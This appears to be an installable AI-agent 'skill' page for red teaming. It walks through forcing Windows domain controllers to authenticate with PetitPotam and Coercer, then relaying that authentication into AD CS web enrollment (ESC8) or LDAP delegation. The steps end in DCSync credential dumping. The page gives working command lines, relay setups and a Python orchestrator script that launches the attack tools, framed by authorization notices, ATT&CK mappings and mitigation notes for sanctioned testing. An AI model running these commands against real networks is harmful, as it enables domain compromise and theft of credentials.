red teaming

Coercing Authentication with Coercer and PetitPotam

Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer across MS-RPRN, MS-DFSNM, and MS-FSRVP to feed NTLM relay into AD CS Web Enrollment (ESC8) and other relay targets.

active-directorycoercercoercionesc8forced-authenticationntlm-relaypetitpotamred-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.

Overview

Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its machine account. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an NTLM relay, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (ESC8), yielding a certificate for the Domain Controller and ultimately domain compromise.

PetitPotam (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv methods. Coercer (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: scan (probe which RPC methods are reachable/coercible), coerce (trigger authentication), and fuzz (research path variations). Sources: p0dalirius/Coercer, topotam/PetitPotam, The Hacker Recipes — Forced Authentications.

When to Use

  • To complete an ESC8/ESC11 chain by forcing a DC to authenticate to a relay
  • To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB
  • When a relay target is identified but no inbound authentication is occurring naturally
  • During detection engineering to generate coercion telemetry for blue-team tuning
  • To validate that DCs/servers are patched and that relay mitigations (signing/EPA) hold

Prerequisites

  • Authorized scope including coercion and NTLM relay techniques
  • Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts
  • A relay listener (Certipy relay or Impacket ntlmrelayx) on a reachable host
  • Network reachability to the target's RPC endpoints (135 + dynamic, 445)
  • Linux attack host with Python 3.8+; install the tools:
    # Coercer
    pipx install coercer        # or: sudo python3 -m pip install coercer
    coercer --help
    # PetitPotam (source)
    git clone https://github.com/topotam/PetitPotam
    # Impacket (provides ntlmrelayx, dFSCoerce etc.)
    pipx install impacket

Objectives

  • Identify which RPC coercion methods a target exposes (scan mode)
  • Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)
  • Coerce the target machine account to authenticate to the relay
  • Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)
  • Document coercible methods and recommend patching/mitigations

MITRE ATT&CK Mapping

ID Technique Application in this skill
T1187 Forced Authentication Using MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host

Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.

Workflow

Step 1: Scan the target for coercible methods

Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.

coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

-t is the target (e.g., the DC), -l is the listener IP that should receive the coerced authentication.

Step 2: Stand up the relay (ESC8 example)

In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.

# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
 
# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

Step 3: Coerce authentication with Coercer

Trigger the target machine account to authenticate to the relay/listener. --always-continue tries every method until one succeeds.

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --always-continue

To use a single specific method (quieter), filter by method name:

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam

Step 4: Coerce with PetitPotam directly (MS-EFSR)

PetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: petitpotam.py <listener> <target>.

# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10

Step 5: Use the relayed result

For ESC8, the relay writes a DC certificate (dc.pfx). Authenticate as the DC and DCSync.

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/dc$@dc.corp.local' -just-dc

Step 6: Relay to LDAP for RBCD (alternative chain)

If ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.

# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
    --escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3

Step 7: Fuzz mode for unpatched-path discovery (research)

Fuzz mode varies UNC paths to find coercion paths bypassing partial patches.

coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

Tools and Resources

Resource Purpose Link
Coercer Multi-method automated coercion (12 methods) https://github.com/p0dalirius/Coercer
PetitPotam MS-EFSR coercion https://github.com/topotam/PetitPotam
Certipy relay ESC8/ESC11 relay target https://github.com/ly4k/Certipy
Impacket ntlmrelayx Relay to AD CS / LDAP / SMB https://github.com/fortra/impacket
The Hacker Recipes Coercion & relay theory https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications

Coercion Method Reference

Method Protocol Notes
PetitPotam MS-EFSR EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv; classic ESC8 trigger
PrinterBug / SpoolSample MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx; needs Spooler
DFSCoerce MS-DFSNM NetrDfsAddStdRoot; often works post-PetitPotam patch
ShadowCoerce MS-FSRVP IsPathSupported / IsPathShadowCopied
Others (Coercer) MS-EVEN, etc. 12 methods total; use scan to enumerate

Validation Criteria

  • Coercer scan identified at least one reachable coercion method on the target
  • Relay listener stood up against a confirmed vulnerable service
  • Target machine account successfully coerced to authenticate to the listener
  • Relayed artifact obtained (DC certificate, RBCD write, or SMB exec)
  • (ESC8) DC certificate used to authenticate and DCSync demonstrated
  • Coercible methods documented with affected host and patch recommendation
  • Relay mitigations (SMB/LDAP signing, EPA, RPC filters) validated or flagged
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 2

api-reference.md2.4 KB

Coercion Tooling Reference

Coercer (https://github.com/p0dalirius/Coercer)

Install: pipx install coercer (or sudo python3 -m pip install coercer). Modes: scan, coerce, fuzz.

Flag Meaning
-u, --username Domain username
-p, --password Password
-d, --domain Target domain
--hashes LM:NT Pass-the-hash
-k, --kerberos Kerberos auth
-t, --target Single target host (IP/FQDN)
-f, --targets-file File of targets
-l, --listener Listener IP to receive coerced auth (coerce mode)
-i, --interface Interface/IP to listen on (scan/fuzz modes)
--target-ip Explicit target IP
--always-continue Try all methods, don't stop on first success
--filter-method-name NAME Only run a named method (e.g. PetitPotam)
--filter-protocol-name NAME Filter by protocol (MS-EFSR, MS-RPRN...)
--filter-pipe-name NAME Filter by named pipe (efsrpc, spoolss...)

Examples

coercer scan   -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50
coercer coerce -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --always-continue
coercer coerce -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
coercer fuzz   -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50

PetitPotam (https://github.com/topotam/PetitPotam)

Usage: python3 PetitPotam.py [options] <listener> <target>

Flag Meaning
-u USER Username (authenticated coercion)
-p PASSWORD Password
-d DOMAIN Domain
-hashes LM:NT Pass-the-hash
-pipe PIPE Named pipe (lsarpc, efsr, samr, netlogon, all)

Examples

python3 PetitPotam.py 10.0.0.50 10.0.0.10
python3 PetitPotam.py -u attacker -p 'pw' -d corp.local 10.0.0.50 10.0.0.10

Relay targets

Tool Command
Certipy (ESC8) certipy relay -target http://CA.CORP.LOCAL -template DomainController
ntlmrelayx (ESC8) impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
ntlmrelayx (RBCD) impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access --escalate-user 'attacker$' -smb2support

12 Coercion Methods (by protocol)

MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, plus additional RPC methods enumerated by coercer scan.

standards.md1.3 KB

Standards Mapping — Coercing Authentication with Coercer and PetitPotam

MITRE ATT&CK (Enterprise)

ID Name Rationale
T1187 Forced Authentication Coercer and PetitPotam abuse RPC methods (MS-EFSR, MS-RPRN, MS-DFSNM, MS-FSRVP) to force a target's machine account to authenticate to an attacker-controlled host — the textbook definition of forced authentication.

Reference: https://attack.mitre.org/techniques/T1187/

Chained techniques:

  • T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) — relaying the coerced auth.
  • T1649 (Steal or Forge Authentication Certificates) — when relayed into AD CS web enrollment (ESC8).

NIST Cybersecurity Framework 2.0

ID Name Rationale
DE.CM-01 Networks and network services are monitored to find potentially adverse events Coercion produces detectable RPC calls and inbound NTLM authentication to non-standard hosts; this skill exercises and validates the monitoring needed to catch forced-authentication and relay activity.

Reference: https://csrc.nist.gov/projects/cybersecurity-framework

Mitigation references

  • Microsoft KB5005413 (NTLM relay to AD CS mitigation), Extended Protection for Authentication (EPA).
  • Disable Print Spooler on DCs (MS-RPRN), enforce SMB/LDAP signing.

Scripts 1

agent.py4.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
agent.py - Authentication coercion orchestrator wrapping Coercer / PetitPotam.

Drives the real Coercer (p0dalirius) and PetitPotam (topotam) command-line tools
to (1) scan a target for reachable RPC coercion methods and (2) coerce machine-account
authentication toward an attacker-controlled listener, the front half of an
NTLM-relay -> AD CS ESC8 chain.

AUTHORIZED USE ONLY. Authentication coercion + NTLM relay can yield full domain
compromise. Run only against systems you own or are explicitly authorized to test.

References:
  - Coercer     https://github.com/p0dalirius/Coercer
  - PetitPotam  https://github.com/topotam/PetitPotam
  - ESC8/relay  https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications
"""
import argparse
import shutil
import subprocess
import sys


def _ensure(tool: str) -> str:
    path = shutil.which(tool)
    if not path:
        print(f"[!] required tool not found on PATH: {tool}", file=sys.stderr)
        sys.exit(3)
    return path


def _run(cmd: list) -> int:
    print("[*] exec:", " ".join(cmd))
    try:
        return subprocess.run(cmd, check=False).returncode
    except FileNotFoundError as e:
        print(f"[!] cannot execute: {e}", file=sys.stderr)
        return 3
    except KeyboardInterrupt:
        print("\n[!] interrupted", file=sys.stderr)
        return 130


def coercer_scan(args) -> int:
    """Probe which RPC coercion methods are reachable on the target."""
    _ensure("coercer")
    cmd = ["coercer", "scan", "-t", args.target, "-l", args.listener]
    if args.username:
        cmd += ["-u", args.username]
    if args.password is not None:
        cmd += ["-p", args.password]
    if args.domain:
        cmd += ["-d", args.domain]
    if args.export_json:
        cmd += ["--export-json", args.export_json]
    return _run(cmd)


def coercer_coerce(args) -> int:
    """Trigger authentication using Coercer's coerce mode."""
    _ensure("coercer")
    cmd = ["coercer", "coerce", "-t", args.target, "-l", args.listener]
    if args.username:
        cmd += ["-u", args.username]
    if args.password is not None:
        cmd += ["-p", args.password]
    if args.domain:
        cmd += ["-d", args.domain]
    if args.method:
        cmd += ["--filter-method-name", args.method]
    if args.always_continue:
        cmd += ["--always-continue"]
    return _run(cmd)


def petitpotam(args) -> int:
    """Run PetitPotam.py (MS-EFSR) directly. Expects PetitPotam.py on PATH or via --script."""
    script = args.script or shutil.which("PetitPotam.py") or shutil.which("petitpotam.py")
    if not script:
        print("[!] PetitPotam.py not found; pass --script /path/to/PetitPotam.py",
              file=sys.stderr)
        return 3
    cmd = ["python3", script]
    if args.username:
        cmd += ["-u", args.username]
    if args.password is not None:
        cmd += ["-p", args.password]
    if args.domain:
        cmd += ["-d", args.domain]
    # PetitPotam positional args: <listener> <target>
    cmd += [args.listener, args.target]
    return _run(cmd)


def build_parser() -> argparse.ArgumentParser:
    p = argparse.ArgumentParser(description="Authorized coercion orchestrator (Coercer/PetitPotam).")
    sub = p.add_subparsers(dest="mode", required=True)

    common = argparse.ArgumentParser(add_help=False)
    common.add_argument("-t", "--target", required=True, help="Target host (e.g. the DC)")
    common.add_argument("-l", "--listener", required=True, help="Listener/relay IP to receive auth")
    common.add_argument("-u", "--username", help="Domain username")
    common.add_argument("-p", "--password", help="Password (may be empty string)")
    common.add_argument("-d", "--domain", help="Domain FQDN")

    s = sub.add_parser("scan", parents=[common], help="Coercer scan mode")
    s.add_argument("--export-json", help="Write scan results to JSON file")
    s.set_defaults(func=coercer_scan)

    c = sub.add_parser("coerce", parents=[common], help="Coercer coerce mode")
    c.add_argument("--method", help="Filter a single method name (e.g. PetitPotam)")
    c.add_argument("--always-continue", action="store_true",
                   help="Try every method until one succeeds")
    c.set_defaults(func=coercer_coerce)

    pp = sub.add_parser("petitpotam", parents=[common], help="Run PetitPotam.py directly")
    pp.add_argument("--script", help="Path to PetitPotam.py")
    pp.set_defaults(func=petitpotam)
    return p


def main() -> int:
    args = build_parser().parse_args()
    print("[i] AUTHORIZED TESTING ONLY -- ensure target is in scope.")
    return args.func(args)


if __name__ == "__main__":
    sys.exit(main())
Keep exploring